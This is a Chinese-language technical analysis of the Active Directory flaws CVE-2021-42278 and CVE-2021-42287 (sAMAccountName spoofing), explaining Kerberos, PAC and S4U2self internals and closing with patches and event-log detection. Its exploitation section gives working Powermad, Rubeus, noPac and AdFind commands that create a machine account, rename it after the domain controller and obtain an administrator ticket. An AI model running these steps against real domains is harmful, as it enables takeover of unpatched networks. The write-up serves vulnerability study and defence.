Name impersonation and KDC bamboozling漏洞分析

 

作者:lzz

0x00 漏洞背景

今年十一月Cliff Fisher 在推特披露了CVE-2021-42278和CVE-2021-42287两个关于AD域漏洞相关信息,该漏洞影响巨大,在默认情况下只需一个域用户即可拿到域内最高权限。

 

0x01 披露时间线

11月10日Cliff Fisher在推特发布了相关的漏洞信息。

12月10日Charlie Clark在博客发布漏洞原理及利用手段。

12月11日cube0x0在github发布了noPac,实现了真正的武器化。

 

0x02 漏洞概述

漏洞的产生本质是windows机器账户和kerbeors之间协调沟通所产生的逻辑问题。

CVE-2021-42278KB5008102

允许攻击者任意修改计算机帐户sAMAccountName字段,进而模拟域控申请票据。

加入域的机器账户默认由$结尾,samAccountName默认和域机器名一致。但DC没有对sAMAccountName属性进行合法性判断,导致删除sAMAccountName结尾的$照样可以以机器用户身份申请TGT票据。

什么是sAMAccountName

sAMAccountName 属性是一个登录名,用于支持以前版本的 Windows 中的客户端和服务器,例如 Windows NT 4.0、Windows 95、Windows 98 和 LAN Manager。 登录名必须少于 20 个字符,在域中的所有安全主体对象中必须唯一,并且不能包含以下任何字符:

  • “/ \ [ ] : ; | = , + * ? < >

userPrincipalName是基于Internet标准RFC 822的用户样式登录名,UPN是可选并在域林中的安全主体对象名中保持唯一。在创建用户时可以指定也可不单独指定,用户格式为:username@domain.name

域名:redteam.lab

SamAccountName:marry

NetBIOS登录名:reedteam\marry

UserPrincipalName:marry@redteam.lab

在 Active Directory中,存储帐户登录名或用户对象实际上是命名符号“Domain\LogonName ”中使用NetBIOS名称组合,该属性是域用户对象的必需属性;而SAMAccountName应始终与UPN主体名称保持一致,即SAMAccountName必须等于属性“UserPrincipalName” 的前缀部分。

更改sAMAccountName

漏洞凭借修改计算机帐户sAMAccountName字段来模拟域控申请票据,但直接将域内机器Evilsystem的sAMAccountName改为与域控相同(不加$),结果显示异常。

原因如https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-is-useful-sometimes/所说:

修改 samAccountName、DnsHostname 或 msDS-AdditionalDnsHostName 属性时SPN 列表会自动更新。

添加机器帐户默认会创建4个SPN,包括以下内容:

1. HOST/MachineAccountName

2. HOST/MachineAccountName.domain.name

3. RestrictedKrbHost/MachineAccountName

4. RestrictedKrbhost/MachineAccountName.domain.name

意味着Evilsystem 将要改成与域控相同的SPN,但是SPN是网络控制器服务实例的唯一标识符,Kerberos身份验证使用它来将服务实例与服务登录帐户相关联,这时会产生冲突;但servicePrincipalName在设置以上属性之前已被删除,那么SPN列表将不会更新,除非再次给该字段赋值。所以在修改samAccountName前删除其SPN属性。

sAMAccountType属性

sAMAccountType表示在Active Directory 中安全主体对象的帐户类型。在LDAP查询中,常常用其筛选域机器和域用户等其他对象。

sAMAccountType=268435456(安全组)
sAMAccountType=268435457(非安全组)
sAMAccountType=536870912(别名对象)
sAMAccountType=536870913(非安全别名对象)
sAMAccountType=805306369(机器对象)

sAMAccountType属性可能存在的值:

Name Value
SAM_DOMAIN_OBJECT 0x0
SAM_GROUP_OBJECT 0x10000000
SAM_NON_SECURITY_GROUP_OBJECT 0x10000001
SAM_ALIAS_OBJECT 0x20000000
SAM_NON_SECURITY_ALIAS_OBJECT 0x20000001
SAM_USER_OBJECT 0x30000000
SAM_MACHINE_ACCOUNT 0x30000001
SAM_TRUST_ACCOUNT 0x30000002
SAM_APP_BASIC_GROUP 0x40000000
SAM_APP_QUERY_GROUP 0x40000001
SAM_ACCOUNT_TYPE_MAX 0x7ffffff
 cn: SAM-Account-Type
 ldapDisplayName: sAMAccountType
 attributeId: 1.2.840.113556.1.4.302
 attributeSyntax: 2.5.5.9
 omSyntax: 2
 isSingleValued: TRUE
 schemaIdGuid: 6e7b626c-64f2-11d0-afd2-00c04fd930c9
 systemOnly: FALSE
 searchFlags: fATTINDEX
 attributeSecurityGuid: 59ba2f42-79a2-11d0-9020-00c04fc2d3cf
 isMemberOfPartialAttributeSet: TRUE
 systemFlags: FLAG_SCHEMA_BASE_OBJECT | 
  FLAG_ATTR_REQ_PARTIAL_SET_MEMBER 
 schemaFlagsEx: FLAG_ATTR_IS_CRITICAL

UserAccountControl

UserAccountControl包含一系列标志,这些标志定义了用户对象的一些重要基本属性,可以通过分配给该属性的值通知 Windows 每个主体启用了哪些选项。

该属性标志是累积性的,比如要禁用用户的帐户,UserAccountControl 属性被设置为 514 (2 + 512)。

LEX官网对这个属性进行了整理,以下为常见类型:

UF_NORMAL_ACCOUNT ( 512 ) 这是一个普通域用户。
UF_WORKSTATION_TRUST_ACCOUNT ( 4096 ) 这是一个普通域机器。
UF_INTERDOMAIN_TRUST_ACCOUNT ( 2048 ) 这是一个代表与外部域的信任连接的帐户。通常,帐户名称是域的 NetBIOS 名称,末尾带有“$”。
UF_SERVER_TRUST_ACCOUNT ( 8192 ) 这是一个域控帐户。
UF_DONT_EXPIRE_PASSWD (65536) 这个用户不受有关域内密码策略相关的影响,且密码永不过期。
UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED (128) 代表可逆加密存储用户密码 ,如果用户更改密码就能解密获得其明文密码。
UF_ACCOUNT_DISABLE ( 2 ) 代表帐户被禁用,并且无法再向域进行身份验证。

https://blog.csdn.net/xjzdr/article/details/3553246也对UserAccountControl进行了详细解释。


UserAccountControl定义了用户对象的重要基本属性,微软以sAMAccountName的值是否以$结尾来区别windows域内的普通域用户和机器账户。但UserAccountControl并没有规定计算机帐户的sAMAccountName必须以$结尾,域机器sAMAccountName去掉最后的$照样可以以机器账户的身份申请TGT票据,为后面的CVE-2021-42287触发提供了先行条件。

CVE-2021-42287 KB5008380

影响 Kerberos 特权属性证书 (PAC) 并允许攻击者通过S4U2Self冒充域控申请ST的安全绕过漏洞。

微软依照是否以$结尾来区别windows域内的普通域用户和机器账户,所以按照惯例默认给机器账户加$,而kerberos认证时并不会区别对待;为了兼容这种情况,如果kerberos认证票据时没有找到对应的域用户,会采用在用户名称后添加$进行重试认证的fallback。

在有PAC 的情况下请求 TGT,并且为与DC具有相同的sAMAccountName(不带$)的机器帐户请求 S4U2self 票据,当初始帐户不存在时自动进行重试认证fallback,KDC没有验证请求TGT的帐户是否与服务票证中引用的帐户相同,结果在ST中使用DC的密钥进行加密。

在默认设置的 Active Directory 环境中可以通过一个域用户凭证拿到域内最高权限。

 

0x03 漏洞原理

微软以是否以$结尾来区别windows域内的普通域用户和机器账户,而kerberos认证时并不会区别对待;为了兼容这种情况,如果kerberos认证票据时没有找到对应的域用户,会采用在用户名称后添加$进行重试认证的fallback。

kerberos认证的CName String/SName String从sAMAccountName提取,如果域控是DC2$,一台域机器的sAMAccountName被改为DC2。那么当域用户申请TGT后将sAMAccountName更改为其他值,进而在申请ST票据时,kerberos找不到DC2这个机器用户,于是会触发fallback变为DC2$。在S4U阶段生成了新的用于访问自身的高权限PAC,KDC没有识别高权限ST作用于哪个机器账户、PAC也没有原始请求者的信息,于是在ST中使用域控的密钥进行加密,这样就拿到了域控的ST票据,从而模拟域控上任意服务的任意用户进行访问登陆。

XP源码分析

https://mp.weixin.qq.com/s/Ar8u_gXh2i3GEcqdhOD8wA这篇文章写的很清楚,有兴趣可以看看。

KdcGetTicketInfo

首先判断是否是krbtgt账户,如果是则直接调用GetKrbtgt函数获取TicketInfo

判断是否是本域的用户,并进行三次查找:

  • 首先直接查找传入的用户
  • 然后查找传入的 username+$
  • 仍未找到则查找其 altSecurityIdentities 属性的value

这就是第一个漏洞产生的原因,sAMAccountName没有$的机器账号如果没有找到会加$进行callback重试。

KdcInsertAuthorizationData

KdcInsertAuthorizationData中可以找到KDC Server获取PAC的处理逻辑:

1.如果不是S4U的请求,则直接从TGT的AuthData中提取PAC(沿用最初的PAC)。

说明了S4U的重要性,如果没有S4U2self,将会沿用最初的PAC;最初的PAC在AS-REP阶段凭请求用户身份生成,没有权限访问域控相关服务。

2.如果是S4U请求,首先调用KdcGetS4UTicketInfo请求获取S4UUserInfo,再调用kdcGetPacAuthData函数来构造PAC data。

kdcGetPacAuthData:若原票据不存在PAC,则会构造一个新的PAC;若无法构造,则直接复制PAC。

KdcGetS4UTicketInfo函数的处理逻辑中又调用了KdcGetTicketInfo,也就是通过这把前后两个漏洞组合在了一起。

因此得到和上面一样的结论:

S4U2self拓展用于TGS-REQ将票证检索到自身来模仿任意用户访问,而KDC在S4U2Self阶段会将SFU填充的字段从TGT中的PAC复制到新创建的PAC中。在进行自动添加$进行callback时,KDC并没有识别高权限ST作用于哪个机器账户、PAC也没有原始请求者的信息,出现鉴权问题从而产生漏洞。

通过公开EXP截取数据分析

wireshark中提供直接将keytab 导入Kerberos,能将PAC等加密字段进行解密。

kerberos认证

整体流程

1.AS_REQ:client用client_hash(一般使用RC4加密)、时间戳向KDC进行预身份验证。
2.AS_REP:KDC检查client_hash与时间戳,如果正确则返回client由krbtgt哈希加密的TGT票据和PAC等相关信息。
3.TGS_REQ:client向KDC请求TGS票据,出示其TGT票据和请求的SPN。
4.TGS_REP:KDC如果识别出SPN,则将该服务账户的NTLM哈希加密生成的ST票据返回给client。
5.AP_REQ:client使用ST请求对应服务,将PAC传递给服务进行检查。服务通过PAC查看用户的SID和用户组等并与自身的ACL进行对比,如果不满足则作为适当的RPC状态代码返回。
6.AP_REP:服务器验证AP-REQ,如果验证成功则发送AP-REP,客户端和服务端通过中途生成的Session key等信息通过加解密转换验证对方身份。

AS-REQ:

域控为DC2$,这里申请sAMAccountName为DC2(不带$)的TGT票据

1.请求的用户端信息
2.加密类型
3.Authenticator(用户Hash加密时间戳)

AS-REP:

1.通过活动目录查询用户得到用户的Hash,用Hash解密Authenticator,如果解密成功并且时间戳在规定时间内(一般为五分钟),则预认证成功。
2.生成由krbtgt用户Hash加密的TGT认购权证,用于确保客户端和DC进行安全通信的用户Hash加密后的Login Session Key(作为下一阶段的认证秘钥)。
3.返回TGT(TGT中包含PAC,PAC包含Client的sid,Client所在的组)、Login Session Key、和时间戳。


PAC

PAC由KDC在AS-REP中生成,其中包含用户sid和组等信息,当client在AD域内进行身份认证的时候,KDC会把这些信息添加到TGT票据加密返回;KDC主要通过PAC中的GroupIds和Userid与要访问服务的ACL进行比较,判断client是否有权限对其进行访问。

KDC在AP-REQ访问服务时检查PAC。同时 TGS 解密验证签名是否正确,然后再重新构造新的 PAC 放在 ST 里返回给client,client将 ST 发送给服务端进行验证,Server再将此信息与用户所索取的资源的ACL进行比较,以此判断用户是否有权限对其进行访问。

PAC里面包含了用户SID、组等信息。在 PAC 中包含PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM两个数字签名 ,这两个数字签名分别由Server NTLM Hash和KDC NTLM Hash加密,并且PAC对于用户和服务全程都不可见,只有KDC能制作和查看PAC。

PAC结构是一个AuthorizationData

AuthorizationData       ::= SEQUENCE OF SEQUENCE {
    ad-type         [0] Int32,
    ad-data         [1] OCTET STRING
}

结构如下:

可以看到ad-type为AD-IF-RELEVANT。

ad-data也是一个AuthorizationData,ad-type为AD-WIN2K-PAC,ad-data为一个PACTYPE的结构体和几个PAC_INFO_BUFFER 结构数组;PACTYPE结构是PAC的最顶层结构,指定PAC_INFO_BUFFER数组中的元素数。PACTYPE结构用作完整PAC数据的标头。

每个 PAC_INFO_BUFFER 定义了 PAC 缓冲区的类型和字节偏移量,用作指向遵循此标头的PAC内容的指针。PAC_INFO_BUFFER 数组没有定义的顺序,因此PAC_INFO_BUFFER 缓冲区的顺序没有意义。但是,一旦生成了 KDC 和服务器签名,缓冲区的顺序不得更改,否则 PAC 内容的签名验证将失败。

PACTYPE结构如下:

PAC_INFO_BUFFER结构如下:

其中ulType描述在Offset处包含的缓冲区中存在的数据类型。

Value Meaning
0x00000001 登录信息。PAC结构必须包含一个此类型的缓冲区。必须忽略其他登录信息缓冲区。
0x00000002 凭证信息。PAC结构不应包含多个此类缓冲区。第二个或后续凭证信息缓冲区在收到时必须忽略。
0x00000006 服务器校验和。PAC结构必须包含一个此类型的缓冲区。必须忽略其他登录服务器校验和缓冲区。
0x00000007 KDC校验和。PAC结构必须包含一个此类型的缓冲区。必须忽略其他KDC校验和缓冲区。
0x0000000A 客户名称和票据信息。PAC结构必须包含一个此类型的缓冲区。必须忽略其他客户端和票证信息缓冲区。
0x0000000B 受约束的委派信息。PAC结构必须包含一个此类型的缓冲区,以便为S4U2proxy请求提供服务,否则不包含任何缓冲区。必须忽略其他受约束的委派信息缓冲区。
0x0000000C 用户主体名称(UPN)和域名系统(DNS)信息。PAC结构不应包含多个此类型的缓冲区。第二个或后续UPN和DNS信息缓冲区在收到时必须忽略。
0x0000000D 客户索赔信息。PAC结构不应包含多个此类型的缓冲区。必须忽略其他客户端索赔信息缓冲区。
0x0000000E 设备信息。PAC结构不应包含多个此类型的缓冲区。必须忽略其他设备信息缓冲区。
0x0000000F 设备索赔信息。PAC结构不应包含多个此类型的缓冲区。必须忽略其他设备声明信息缓冲区。
0x00000010 票证校验和PAC结构不应包含多个此类型的缓冲区。必须忽略其他票证校验和缓冲区。

0x00000006 对应的是Server检验和,0x00000007 对应的是KDC校验和。前面说过PAC包含server和KDC签名,就是为了防止PAC内容被篡改。

KERB_VALIDATION_INFO

KERB_VALIDATION_INFO结构定义了DC提供的用户登录和授权信息,并由RPC编组。结构定义如下:

typedef struct _KERB_VALIDATION_INFO {
FILETIME LogonTime;
FILETIME LogoffTime;
FILETIME KickOffTime;
FILETIME PasswordLastSet; 
FILETIME PasswordCanChange; 
FILETIME PasswordMustChange; 
RPC_UNICODE_STRING EffectiveName; 
RPC_UNICODE_STRING FullName; 
RPC_UNICODE_STRING LogonScript; 
RPC_UNICODE_STRING ProfilePath; 
RPC_UNICODE_STRING HomeDirectory;
RPC_UNICODE_STRING HomeDirectoryDrive; USHORT LogonCount;
USHORT BadPasswordCount;
ULONG UserId;
ULONG PrimaryGroupId;
ULONG GroupCount;
[size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds; ULONG UserFlags;
USER_SESSION_KEY UserSessionKey;
RPC_UNICODE_STRING LogonServer;
RPC_UNICODE_STRING LogonDomainName;
PISID LogonDomainId;
ULONG Reserved1[2];
ULONG UserAccountControl;
ULONG SubAuthStatus;
FILETIME LastSuccessfulILogon;
FILETIME LastFailedILogon;
ULONG FailedILogonCount;
ULONG Reserved3;
ULONG SidCount;
[size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;
PISID ResourceGroupDomainSid;
ULONG ResourceGroupCount;
[size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO;

主要看UserId、GroupCount和GroupId字段:

Userid:域SID+用户RID(用户SID)

GroupCount:包含帐户所属帐户域内的组数。

GroupID:指向GROUP_MEMBERSHIP GroupIds结构列表的指针,其中包含帐户域中帐户所属的组。此列表中的组数必须等于GroupCount。其中513为域用户,512、520、518、519 是域管组。

MS14068就是将高权限的GroupId插入到伪造的PAC中从而提升权限达到接管域的目的。

TGT包含PAC,定位到ticket→enc-part→PAC_LOGON_INFO

Domain Computers的Group RID都为515,现在的PAC代表申请的是机器账户身份。

TGS-REQ:

将sAMAccountName为DC2的机器账户改为其他任意值,申请其ST

1.客户端信息
2.Authenticator(Login Session Key加密时间戳)
3.TGT认购权限
4.访问的服务名

TGSREQ携带ap-req,利用as-rep获取到的TGT票据并用上S4U2Self拓展,以administrator的身份请求DC2 cifs服务的ST票据。

上图中的ticket和as-rep返回的ticket都是TGT票据,client用此进行TGS相关后续认证。


S4U2Self

S4U包括和S4U2self和S4U2proxy。S4U2proxy允许服务代表用户获得不同服务的服务票证的扩展,通常用于服务进行委派,这里不再叙述,有兴趣可以看关于委派相关的章节。

这个漏洞出在S4U2Self上,先来了解一下认证流程。

服务可以使用S4U2self将票证检索到自身,允许服务代表用户向自身获取Kerberos服务票据,包含用户的组,因此可用来授权,且S4U2self扩展可用于获取PAC,以确定用户是否对服务具有访问权限。

下图描述了从服务处理TGS的S4U2self TGS-REQ消息。

1.服务使用S4U2self扩展来代表用户向自身检索服务票证。该服务填写PA-FOR-USER数据结构,并向TGS发送TGS-REQ。

2.如果TGS支持PA-FOR-USER扩展,TGS在TGS-REP中返回用户的ST票据。ST返回的PAC包含授权数据。

PA-FOR-USER结构:

PA-FOR-USER ::= SEQUENCE {
       -- PA TYPE 129
       userName              [0] PrincipalName,
       userRealm              [1] Realm,            
       cksum                 [2] Checksum,             
       auth-package          [3] KerberosString
    }

PA-FOR-USER由四个字段组成:userName、userRealm、cksum和auth-package。

userName为用户的名称,默认名称类型为NT-UNKNOWN。

userRealm是用户帐户的当前域。

auth-package字段必须设置为字符串“Kerberos”,并且不区分大小写。

cksum为前三者的校验和。使用KERB_CHECKSUM_HMAC_MD5函数计算。

在微软官方文档中提到:

如果KDC支持PAC,KDC必须将S4U填充的字段从TGT中的PAC复制到新创建的PAC,并在处理其支持的所有字段后, KDC必须生成新的服务器签名和KDC签名,以替换PAC中的现有签名字段。

即在S4U阶段创建了新的PAC,而新生成的PAC为后面的漏洞利用提供了充分条件。

TGS-REP:

1.检查自身是否存在服务,如果存在,通过krbtgt解密TGT并通过Login Session Key解密Authenticator(Login Session Key加密时间戳),就验证了对方身份。然后验证时间戳是否在范围内,并且验证TGT中的时间戳是否过期,原始地址是否和TGT保存的地址相同等。
2.生成用AS-REP得到的Login Session Key加密后的用于确保安全传输的Server Session Key
3.完成认证后,TGS生成ST票据,其中包括:客户端信息和原始的Server Session Key,整个ST票据由该服务的NTLM Hash加密。
4.将ST和Server Session Key发送给客户端。

结果可以看到在S4U2Self拓展在TGS-REQ中生成了新的高权限PAC用于访问申请的服务。

在申请ST票据时,kerberos找不到DC2这个用户,由于是机器账户会触发fallback自动添加$变为DC2$。 结果在 ST 中使用域控的密钥进行加密,进而可以模拟域控上任意服务的任意用户进行访问登陆。

由此可见S4U2Self阶段是漏洞触发的关键点,如果没有S4U2Self就不会生成新的高权限PAC,流程没有任何问题,只是在这之后没有做好鉴权:PAC没有原始请求者的信息、KDC没有识别高权限ST作用于哪个机器账户,从而产生了漏洞。

 

0x04 漏洞利用

整体流程

假设域内DC机器名为DC1$

1.利用域用户创建域机器Evil。

2.清除Evil的SPN属性。

3.将域机器Evil的sAMAccountName属性更改为DC1(不带$)。

4.为Evil请求TGT,随后将其sAMAccountName更改为其他名字(除DC1均可)。

5.通过S4U2self向KDC请求DC1的ST票据(可以任意指定service类型);KDC找不到DC1这个机器账号,在DC1后面自动添加$匹配为DC1$(域控),从而返回域控机器账户代替DC1 的ST票证。

利用步骤

1.利用域用户创建域机器Evilsystem

域内任意域用户默认可以添加10台域机器,这是用于加域的正常功能,在LDAP中呈现的字段为ms-DS-MachineAccountQuota的值。

(1)powermad:

默认自动为其创建机器注册SPN

以任意普通域用户创建一个名为Evilsystem,密码为1qaz@WSX的域机器

New-MachineAccount -MachineAccount Evilsystem -Password $(ConvertTo-SecureString "1qaz@WSX" -AsPlainText -Force)

(2)addcomputer.py

默认不会自动为其创建机器注册SPN

2.清除Evilsystem的servicePrincipalName属性(addcomputer.py添加机器用户省略这一步骤)

Set-DomainObject "CN=Evilsystem,CN=Computers,DC=redteam,DC=lab" -Clear 'serviceprincipalname' -Verbose

3.将域机器Evilsystem的sAMAccountName属性更改为DC1(不带$)

Set-MachineAccountAttribute -MachineAccount "Evilsystem" -Value "DC1" -Attribute samaccountname -Verbose

4.为Evilsystem请求TGT,随后将sAMAccountName更改为其他名字(除DC1均可)

Rubeus.exe asktgt /user:"DC1" /password:"1qaz@WSX" /domain:"redteam.lab" /dc:"DC1.redteam.lab" /nowrap

Set-MachineAccountAttribute -MachineAccount "Evilsystem" -Value "EvilEvil" -Attribute samaccountname -Verbose

5.通过S4U2self向KDC请求DC1的ST票据(可以任意指定service类型)

在这里模拟了administrator用户访问DC1上cifs服务的ST票据,这可以是域中任何系统上任何服务上的任何用户

(也可以申请host服务票据直接添加用户,或者直接申请ldap的票据进行dcsync。)

Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"cifs/DC1.redteam.lab" /dc:"DC1.redteam.lab" /ptt /ticket:doIEujCCBLag..

验证结果

公开EXP利用:

https://github.com/cube0x0/noPac

noPac.exe -domain redteam.lab -user carn1 -pass Qq123456.. /dc dc1.redteam.lab /mAccount Evils /mPassword 1qaz@WSX /service cifs /ptt

其他利用场景

漏洞利用的最终条件就是在域控没打补丁的情况下,能够修改任意域机器的SPN和sAMAccountName属性进行滥用。

1.林信任利用

Charlie Clark在后面的文章中展示了林信任的利用方式

A域和B域互相信任,如果有A域a用户的权限,可以利用信任关系在B域创建计算机账户达到漏洞利用。

2.MAQ=0利用

前面的利用基于MAQ(MachineAccountQuota)创建域机器来实现,如果限制MAQ,有以下思路:

(1).CreatorSID

按照微软的ACL规定,创建者即为所有者,所有者必定拥有完全控制权限,当然包括更改名称等一系列属性。

利用MAQ创建域机器利用的方式其实就是利用了CreatorSID属性,在一些域内有专门拉机器账户进域的用户,比如carn1用户将demo123机器拉入域内,则demo123的CreatorSID指向carn1。

通过SID查询Creator

AdFind.exe -f "(&(objectsid=S-1-5-21-2588586899-1821113704-3426516109-2603))" objectclass cn dn

查询carn1对demo123的ACL权限

AdFind.exe -b "CN=demo123,CN=Computers,DC=redteam,DC=lab" nTSecurityDescriptor -sddlfilter ;;;;;"carn1" -sddl+++ -recmute

在拿到一个域用户权限后,可以遍历LDAP查找具有CreatorSID属性的域机器和对应的域用户,如果我们已经有了对应的域用户权限,就可以利用这个用户修改对应域机器的属性来进行漏洞利用。

查找每个域机器的加域账号<br />AdFind.exe -b “DC=redteam,DC=lab” -f “(&(samAccountType=805306369))” cn mS-DS-CreatorSID

通过用户的sid查看哪些域机器是通过自己加入到域内的:
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=UserSid))" cn sAMAccountType objectCategory

(2).ACL权限

域内拿到A用户权限后,遍历ACL发现其对域机器B有 GenericAll / GenericWrite等权限,可以通过A直接修改B的属性利用。遍历ACL分析通常用在穷途末路的时候,更适合做一个后门使用,具体使用依情况而定。

 

0x05 漏洞修复

1.打KB5008102KB5008380补丁。

2.MAQ(MachineAccountQuota)属性值设为0。

3.遍历域内并清除相关可能被利用的ACL。

4.创建名为PacRequestorEnforcementtypeREG_DWORD的注册表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Kdc,并为其值设为2,这样的话旧的TGT就不再起作用,让入侵者以前生成的凭据无效。

 

0x06 日志分析

1.创建机器账号产生4741事件

2.删除SPN产生4742事件

3.将sAMAccountName改为DC1产生4781事件

4.申请TGT并改名产生4768、4781事件

5.通过S4U获取ST产生4769事件

在上述日志中,TGT和ST的申请在域内太过频繁、如果是通过impacket中的addcomputer.py添加的机器账号默认不会包含SPN、所以可随时监控4741(创建机器账号产生)、4781(更改sAMAccountName名称)来确保域内没有被滥用此漏洞,当然最重要的还是对漏洞进行修复。

 

0x07 参考

https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html

https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing

https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-is-useful-sometimes/

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-apds/1d1f2b0c-8e8a-4d2a-8665-508d04976f84

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a?redirectedfrom=MSDN

(完)